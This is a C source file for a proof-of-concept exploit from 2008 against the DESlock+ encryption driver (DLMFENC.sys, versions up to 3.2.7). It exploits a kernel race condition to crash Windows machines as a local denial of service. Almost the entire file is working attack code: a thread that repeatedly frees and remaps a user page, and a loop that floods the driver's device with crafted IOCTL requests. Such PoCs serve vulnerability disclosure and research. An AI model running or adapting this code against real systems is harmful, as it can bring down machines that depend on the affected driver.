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/* deslock-probe-race.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* DESlock+ <= 3.2.7 local kernel race condition DoS POC
* by mu-b - Fri 22 Feb 2008
*
* - Tested on: DLMFENC.sys 1.0.0.28
*
* race conditions between calls to ProbeForRead/ProbeForWrite
* and pointer use.
*
* "Note that subsequent accesses by the driver to the user-mode
* buffer must also be encapsulated within a try/except block;"
* - http://msdn.microsoft.com/en-us/library/ms797108.aspx
*
* http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
* - I wonder what that says about CESG CCTM?
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG 0xDEADBEEF
#define ARG_SIZE(a) ((a-(sizeof (int)*2))/sizeof (void *))
struct ioctl_req {
int flag;
int req_num;
void *arg[ARG_SIZE(0x20)];
};
void
hammer_thread (void *zpage)
{
BOOL result;
printf ("* [child] using page @0x%08X\n", zpage);
while (1)
{
result = VirtualFree (zpage, 0, MEM_RELEASE);
if (result == 0)
{
fprintf (stderr, "* [child] VirtualFree failed\n");
exit (EXIT_FAILURE);
}
zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (zpage == NULL)
{
fprintf (stderr, "* [child] VirtualAlloc failed\n");
exit (EXIT_FAILURE);
}
}
}
int
main (int argc, char **argv)
{
struct ioctl_req req;
HANDLE hFile, hThread;
DWORD rlen, dThread, nTotal, nFail;
LPVOID zpage;
BOOL result;
printf ("DESlock+ <= 3.2.7 local kernel race condition DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
fflush (stdout);
hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}
zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (zpage == NULL)
{
fprintf (stderr, "* VirtualAlloc failed\n");
exit (EXIT_FAILURE);
}
printf ("* allocated page: 0x%08X [%d-bytes]\n",
zpage, 0x10000);
hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) hammer_thread,
zpage, 0, &dThread);
if (hThread == NULL)
{
fprintf (stderr, "* CreateThread failed\n");
exit (EXIT_FAILURE);
}
nTotal = nFail = 0;
while (1)
{
memset (&req, 0, sizeof req);
req.flag = DLMFENC_FLAG;
req.req_num = 4;
req.arg[0] = (void *) zpage;
nTotal++;
result = DeviceIoControl (hFile, DLMFENC_IOCTL,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!result)
{
if (!(nFail++ % 1024))
{
char *p_arr[] = { "DESLock", "ProbeForWrite", "a", "races",
"dull", "make", "boy" };
fprintf (stderr, "* total: %d [failed: %d, %f%%] [%13s]\r",
nTotal, nFail, (((double) nFail)/nTotal)*100, p_arr[nFail%7]);
fflush (stderr);
}
}
}
/* unreachable! */
printf ("* hmmm, you didn't STOP the box?!?!\n");
CloseHandle (hFile);
return (EXIT_SUCCESS);
}
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